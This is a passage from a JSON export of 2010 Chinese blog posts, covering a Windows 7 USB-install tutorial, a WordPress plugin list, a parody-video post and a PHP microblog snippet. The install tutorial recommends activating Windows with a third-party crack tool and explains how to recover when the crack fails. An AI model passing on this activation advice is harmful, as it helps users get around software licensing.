下载安装Ultraiso软件，软件下载地址：传送门；下载Win7系统镜像，下载地址：传送门\n安装Ultraiso；\n插入一个空USB盘（制作过程会格式化U盘，请做好数据备份），然后启动Ultraiso软件，如果是Vista系统的话请右键选择管理员运行此程序，否则会找不到U盘的。\n然后选择你下载好的Win7系统镜像，选择“启动-写入硬盘映像”，弹出写入硬盘窗口，在硬盘驱动器哪里选择你要制作启动盘的U盘，然后选择写入，如果有数据，则会提示你要格式化什么的，选择是就行。再次提醒，请自行做好数据备份！\n等待片刻后，USB启动盘就做好啦！\n二、安装系统 重启电脑（记得插启动盘），在开机瞬间按下F12进入启动选项，（如果不确定时间就一直按呀按，按到出现为止），一般来说是F12这个按键，起码我的是。你也可以F8进入BOIS，在启动项那里将USB设置为第一启动项。案件如果不是，你就ESC,F2,F8,F12，Alt这几个按键多按几下就差不多了，不是可以用三键组合（Ctrl+Alt+Del）重启的。\nF12后启动项选择界面\nBOIS中启动项选择，只要把USB HDD移动到第一个作为第一启动项就可以啦！\n上面选择USB为启动项后，稍等片刻，即出现Win7的安装界面，出现语言和键盘选项 无视，进入下一步\n选择现在安装\n这里不能选择升级，要选择自定义\n选择分区，如果不需要原来的操作系统的，直接把原来的操作系统所在分区给格式化了选择这个分区即可（选择分区，然后点击下面的驱动器选项——格式化），大前提还是把数据做好了备份。然后是下一步，下一步，下一步，下一步……重启两三次之后，差不多就好了…… 这里还要说一声，如果你在分区那里看到系统分区前面还有一个比较小的隐藏分区（就是本来你只有CDEF四个分区，但是这里有5个分区这种情况），请把那个隐藏分区删除掉，否则会影响你激活……\n三、激活 我没用过别的方法激活，都是用PCSKY的那个激活工具，下载地址：传送门 右键单击管理员运行此程序，然后输入1按下Enter，等待片刻就会提醒你安装完成了。这个时候你只要重启电脑，看看能否正常进入操作系统就可以了。如果出现Error的话则证明破解失败，删除系统盘的grub.mbr即可重新进入操作系统。 这里贴一个利用Win7启动盘删除grub.mbr的方法，如图：\n重新按照上面的方法运行Win7启动盘，到这个界面的时候点击左下角的修复计算机\n然后启动盘为扫描硬盘内安装的操作系统，这里我们再点击加载驱动程序\n这里有个提醒，别管，直接点确定\n然后就会出现选择菜单啦，跑到系统盘找到grub.mbr这个文件单击右键删除就可以了。\n由于我这里下的是原版的操作系统，当然了，你也可以下那种无需激活的Win7镜像下来，怕麻烦的家伙无失为一种好方法。\n通过以上步骤，基本上能够成功安装Win7了，如果还有什么不懂的，可以留言或直接mail我……\n","count":1237,"date":"2010年02月02日","featuredImage":null,"permalink":"https://imnerd.org/usb-boot-disk-to-install-win7.html","summary":"\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/Install-Win7.png\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e应朋友之邀，写一篇安装Win7的教程，高手可以无视了，大家只管在下面吐槽就行！\u003c/p\u003e\n\u003cp\u003e教程开始：\u003c/p\u003e\n\u003ch2 id=\"一制作usb启动盘\"\u003e一、制作USB启动盘\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下载安装Ultraiso软件，软件下载地址：\u003ca href=\"http://118.212.130.217:82/down/uiso9_cn.zip\"\u003e传送门\u003c/a\u003e；下载Win7系统镜像，下载地址：\u003ca href=\"http://www.playnext.cn/windows7-with-sp1-msdn-iso.html\"\u003e传送门\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e安装Ultraiso；\u003c/p\u003e","time":3,"title":"USB启动盘安装Win7"},{"comments":{"data":[66],"errmsg":"","errno":0},"contents":"\r丑话说前头啊，咱少说也用了几十个插件了吧，对插件也有些心得，但是还是要提醒你一下：有的插件在我这儿能成，在你那儿并不一定能成，要视自己的情况选择插件哦！\n1. 中文 WordPress 工具箱\r这个官方解释说是增强WordPress对中文的支持，具体怎么样我也没察觉出来，因为好像我一开始用WordPress就装上了这个插件了。我看基本上中文博客都应该装了这个插件了吧！\r推荐等级：★★★★★\n2.唐诗宋词(chinese poem)\r用了这个插件可以在自己博客的边栏中显示唐诗/宋词/名曲/菜根谭/道德经/笑话集/论语/谚语/增广贤文/毛泽东诗词/毛泽东语录，喜欢文艺点的孩子可以安装下这个插件。\r推荐等级：★★★☆☆ 3.Akismet\rWordPress注明的防SPAM的插件，拦截效率灰常之高，灰常精确（但是某些童鞋居然说它错杀无数？！），强烈建议安装！虽然说这个API KEY很难搞，但是，咨询下广大网民，应该也不难吧？\r推荐等级：★★★★★ 4.Better Extended Live Archives\r强大的日志树插件，能够给WordPress博客的日志生成目录，并且可以有多种形式浏览，而且还能进行强大的DIY！预览地址：日志\r推荐等级★★★☆☆\n5.Comment Reply Notification\r从WP Thread Comment提取出来的邮件回复提醒插件，对于不喜欢WP Thread Comment的评论嵌套或者其它的而仅仅是想要一个邮件回复提醒功能的话，这个还是很不错的！\r推荐等级：★★★★☆\n6.Comments Shortcut\r能够为你的博客添加快捷回复，对我们这些习惯使用Ctrl + Enter发表文章的人来说还是有必要的。不过我装上去之后一直不知道怎么用？！\r推荐等级：★★☆☆☆ 7.cos_slug_translator\r能够将你的日志链接自动转换成英文，当然，必须要你的固定链接形式是包含%postname%的。这个插件可省了我很大的一个麻烦啊，自动调用Google翻译，翻译结果大家可以想象了！\r推荐等级：★★★☆☆ 8.Crab Blog Sync Plugin\r那个河蟹微博的同步插件，当你发表新日志时可以在河蟹发消息通知，不用河蟹的童鞋可以忽略了。\r下载地址：传送门\r推荐等级：★☆☆☆☆ 9.Custom Smilies\r表情插件，可以为博客添加表情，功能强大，可以自定义表情，自定义表情符号。博客必备级插件，虽然在安装过程中偶尔会有些波折!\r推荐等级：★★★★☆ 10.Delete-Revision\r删除WordPress数据库内冗余日志，减少数据库体积。对于某些经常保存草稿再修改，修改再修改的童鞋来说这个插件应该数据必备级别的了。我也用了很久，没出什么状况，啥状况也没好！\r推荐等级：★★★☆☆\n11.Du RSS\r这个插件能够在侧边栏增加一个小工具显示你在uushare.com最近上传的文件，插件作者是友链里面的视为哦！\r推荐等级：★★☆☆☆ 12.Google XML Sitemaps\r这插件，似乎就是能够自动生成sitemapi文件并自动提醒谷歌，bing啊什么的（没有我们百毒大叔！），作为博客推广及收录的必备级插件。\r推荐等级：★★★★★ 13.GZippy\r听说是能压缩CSS和JS，提高网站的反应速度，但是我装了这么久，没感觉的说？\r推荐等级：★★☆☆☆ 14.Highslide4WP\r为你博客的图片添加Lightbox特效，操作简单，仅仅需要你给出缩略图和原图的网址就行！==！\r推荐等级：★★★★☆ 15.Hot Friends\r可以对你的友情链接进行管理，可以按照月评论排名等等形式对友情链接进行优化和排序。不过比较麻烦的是每次更新完友情链接后必须更新下Hot Friends的设置……\r推荐等级：★★★★☆ 16.KPicasa Gallery\r该插件能够为你创建一个相册照片全处于Picasa的照片集页面，如果想用Picasa制作相册的话，这个人插件是不二选择。虽然大陆看不到Picasa了，但是偶相信Picasa还会回来的\r推荐等级：★★★★☆\n17.Live Comment Preview\r该插件能够使评论有预览功能，不过做的还不是很好玩，居然不能识别表情符号～而且你换行之后上面的字体会变粗，下面的就不会……不知道是不是个例\r推荐等级：★★★☆☆\n18.My Category Order\r管理你的文章分类的，当初装了就没用，感觉没多大用。\r推荐等级：★★☆☆☆\n19.Quick Comments\r能够实现Ajax评论回复，也就是说当你发表回复的时候，仅刷新评论，不刷新文章。但是这个插件对主题比较苛刻，比如我的comment-template.php给人改造了一下就不支持这个插件了……囧，这个插件不错，但是能不能装上，看你的造化吧！\r推荐等级：★★★★☆\n20.Quote Comments\r字面上就是引用评论，就是给评论增加引用的功能，可以引用其它人的评论。\r推荐等级：★★★☆☆ 21.Simple:Press Forum\r能够给WordPress装上一个轻量型的BBS，这个插件很不错的说，能够极大的使论坛和博客整合，而且功能上丝毫不逊色于其他专用论坛程序！同时这个插件也有着4M的体积，所以这个插件很好，但是不是每个人都需要的。预览地址：BBS\r推荐等级：★★★★☆\n22.WordPress Database Backup\r这个不用我说了吧，WordPress御用数据库备份插件，能够自动备份WordPress的数据库，可以存在一个文件夹或者发送到一个邮箱等等。数据控者或杞人忧天者必备！\r推荐等级：★★★★★\n23.WP-PageNavi\r能够给博客加上分页代替WordPress老套的新的文章和老的文章的翻页方法。似乎没用过别的分页插件，这个分页插件做的不错的说，但是似乎要添加代码，我记得我为我的博客添加这个代码似乎有些麻烦啊……\r推荐等级：★★★★☆\n24.WP-Reader-Wall\r能够显示所有在你博客评论过的评论者的头像，然后组成一面头像墙，最近很不错的插件。推荐！\r推荐等级：★★★★☆\n25.WP-T-Wap\r这个也不用我说了吧，给WordPress制作WAP浏览页面，相当不错的说！\r推荐等级：★★★★★\n25.WP-T-Wap\r这个也不用我说了吧，给WordPress制作WAP浏览页面，相当不错的说！\r推荐等级：★★★★★\n26.Page Links To\r这个插件可以给WP页面自定义一个链接,也就是说你的WP页面可以链接到任何网址上去了。预览地址：相册\r推荐等级：★★★★★\n27.Sam-Sarin PHP Widget\r这个插件能够让边栏支持PHP语言，相当实用的说！\r推荐等级：★★★☆☆\n\u0026hellip;\u0026hellip;本文于2010/3/3更新 ","count":2319,"date":"2010年01月31日","featuredImage":null,"permalink":"https://imnerd.org/i-am-using-wp-plug-in.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1214\" title=\"WP Plugins\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/WP-Plugins.png\" alt=\"\" width=\"450\" height=\"117\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"font-family: Microsoft Yahei;\"\u003e\u003cspan style=\"color: #333399;\"\u003e丑话说前头啊，咱少说也用了几十个插件了吧，对插件也有些心得，但是还是要提醒你一下：有的插件在我这儿能成，在你那儿并不一定能成，要视自己的情况选择插件哦！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":5,"title":"我在使用的WP插件"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":"\n俗话说的好，中国网络从来都不缺乏人才，只有更恶搞，没有最恶搞！这部《看你妹之网瘾战争》携带恶搞之风给大家带来了贺年大作！千言万语抵不过大家一视，下面附上网瘾战争在线观看视频：\nhttps://www.bilibili.com/video/av18813794/\n个人比较喜欢会长还有那个九村客服的配音，对于看你妹的配音个人不太喜欢，虽然激昂但是不适合配音啊……\n再附上我的几个截图，其中几个有可能大家看时候会忽略～\n1.终结者的系统，请注意右上角/爱情五大动作片专用文件夹/\n2.终结者的GPS系统/请注意左下角，传说中的马勒戈壁/\n3. 惊现70码！\n4.请注意左下角/左下角惊现卖四六级答案的广告/\n5.再次惊现广告，这次是招公关和办证的，据说这两个电话都是真实的！\n6.传说中的网毅梦幻魔兽学校\n7.晕，这么老套的剧情我看了还会感动，具郁闷！\n如果你还想了解这部电影的具体内涵，请点击这儿：传送门\n《看你妹之网瘾战争》高清版下载地址：BT下载 | 怡红院落 | 电驴下载 ","count":379,"date":"2010年01月30日","featuredImage":null,"permalink":"https://imnerd.org/war-addiction.html","summary":"\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/WYZZ.png\"\u003e\u003cimg class=\"alignnone size-full wp-image-1183\" title=\"WYZZ\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/WYZZ.png\" alt=\"\" width=\"450\" height=\"126\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e俗话说的好，中国网络从来都不缺乏人才，只有更恶搞，没有最恶搞！这部《看你妹之网瘾战争》携带恶搞之风给大家带来了贺年大作！千言万语抵不过大家一视，下面附上网瘾战争在线观看视频：\u003c/p\u003e\n\u003c!-- \u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"363\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"align\" value=\"middle\" /\u003e\u003cparam name=\"allowScriptAccess\" value=\"always\" /\u003e\u003cparam name=\"allowFullScreen\" value=\"true\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"src\" value=\"http://www.tudou.com/player/outside/beta_player.swf?iid=45114012\u0026amp;cs=0xFFFFFF_0x9999FF_0x2E005B_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0x996699_0x9900FF_0x3F007D_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF\" /\u003e\u003cparam name=\"allowfullscreen\" value=\"true\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"450\" height=\"363\" src=\"http://www.tudou.com/player/outside/beta_player.swf?iid=45114012\u0026amp;cs=0xFFFFFF_0x9999FF_0x2E005B_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0x996699_0x9900FF_0x3F007D_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF_0xFFFFFF\" wmode=\"transparent\" quality=\"high\" allowfullscreen=\"true\" allowscriptaccess=\"always\" align=\"middle\"\u003e\u003c/embed\u003e\u003c/object\u003e --\u003e\r\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/av18813794/\"\u003ehttps://www.bilibili.com/video/av18813794/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e个人比较喜欢会长还有那个九村客服的配音，对于看你妹的配音个人不太喜欢，虽然激昂但是不适合配音啊……\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e再附上我的几个截图，其中几个有可能大家看时候会忽略～\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e1.终结者的系统，请注意右上角/\u003cem\u003e爱情五大动作片专用文件夹\u003c/em\u003e/\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" onclick=\"return hs.expand(this, {captionId:'caption_1264828142722'});\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Fba33b564fff2471c88dc24dfbb5f4cb2%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/1_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e2.终结者的GPS系统/\u003cem\u003e请注意左下角，传说中的马勒戈壁\u003c/em\u003e/\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" onclick=\"return hs.expand(this, {captionId:'caption_1264828142722'});\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Fffa511054a6a44e78d2c3ff9a76c7ce7%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/2_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e3. 惊现70码！\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" onclick=\"return hs.expand(this, {captionId:'caption_1264828142722'});\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F29505e55db464f4a82b1039e43813754%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/4_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" onclick=\"return hs.expand(this, {captionId:'caption_1264828142722'});\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F355302603542407182842ecc9449e052%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/5_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e4.请注意左下角/\u003cem\u003e左下角惊现卖四六级答案的广告\u003c/em\u003e/\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" onclick=\"return hs.expand(this, {captionId:'caption_1264828142722'});\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F8c14304defea4fcfb8c09edbf01919b7%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/6_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e5.再次惊现广告，这次是招公关和办证的，据说这两个电话都是真实的！\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" onclick=\"return hs.expand(this, {captionId:'caption_1264828142722'});\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F23b7ca2e417e42a39dfd640f04c11431%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/7_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e6.传说中的网毅梦幻魔兽学校\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" onclick=\"return hs.expand(this, {captionId:'caption_1264828142722'});\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F71b4706720b34e28a7177fa6b42f828d%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/9_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":1,"title":"网瘾战争"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":"\n","count":0,"date":"2010年01月28日","featuredImage":null,"permalink":"https://imnerd.org/install-pagecookery-in-pc.html","summary":"\u003cp\u003e\u003ca href=\"https://imnerd.org/install-pagecookery-in-pc.html\"\u003e\u003cimg class=\"alignnone size-full wp-image-1144\" title=\"PHPnow for PageCookery\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/PHPnow-for-PageCookery.png\" alt=\"\" width=\"449\" height=\"121\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Ffd387bce27c1489881c0fa962fce78fd%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/1.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F743702da61104665a3045b8c6009e27f%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/3.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F0101c66f1ba446ed84e6f0b353a903da%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"../wp-content/uploads/2010/01/4.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Fbb4abc487b2c4c5b832cfb23ffebcd76%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/5.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Feb2b125711334d37851ed58d4e38272c%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/6.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F67f4612e8fab4404b1ea95ceb3155ce4%2Ffullsize.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/7.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Fc9d894bce5d745f5aa2a096cde634ca3%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/8.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Fb598451f35dd40e6882180a0b63b4c02%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/9.png\" alt=\"image\" width=\"450\" height=\"267\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F7b0d40dd42d64922ab188bbfd8f36bf7%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/10.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F52aaa2f5e0e64fdb91799679fdf892fa%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/11.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F8cdf681e959346fabd1f680301a80eed%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/12.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Fffa3748f5ea9421aa68f804a8bed14db%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/13.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F43cdb5bfdd8e4ad7b2c2125b6d798e80%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/14.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F13da386b60814fc8869077e8ffe9438b%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/15.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F75ec27d7414547248ce3664085197a0f%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/16.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F842ee44c3e6141f0a52d1f97fab0c48a%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/17.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":0,"title":"本地安装PageCookery"},{"comments":{"data":[36],"errmsg":"","errno":0},"contents":"\n首先要声明的是，这个方法不是我原创的啦！感谢Jerry的倾力支持！这里只是对其进行论述介绍而已。还有就是，我已经到家啦！但是由于这两天上网不方便，所以现在才更新，以后不会啦！\n这里需要用到两个文件，请大家到这里下载：传送门\n下载下来后解压出两个文件，分别为api.php和read.php。首先我们要将api.php上传到PageCookery安装的根目录，也就是和config.php同级的目录。然后是修改read.php文件的第8行：\n1 define(P2_PATH,'https://imnerd.org/mblog/');\r将“https://imnerd.org/mblog”修改为你的微博客地址之后保存read.php（注意不要忘记最后的“/”）。然后将read.php上传到你要调用你微博客最新消息的那个文件的同级目录（比如你想要在WordPress首页调用自己微博客最新日志的话，就将read.php上传到WP的根目录中，即与首页文件index.php同级）。然后在你想要调用最新消息的文件中添加如下代码：\r1 \u0026lt;?php\r2 require_once(\"read.php\");\r3 echo readit();\r4 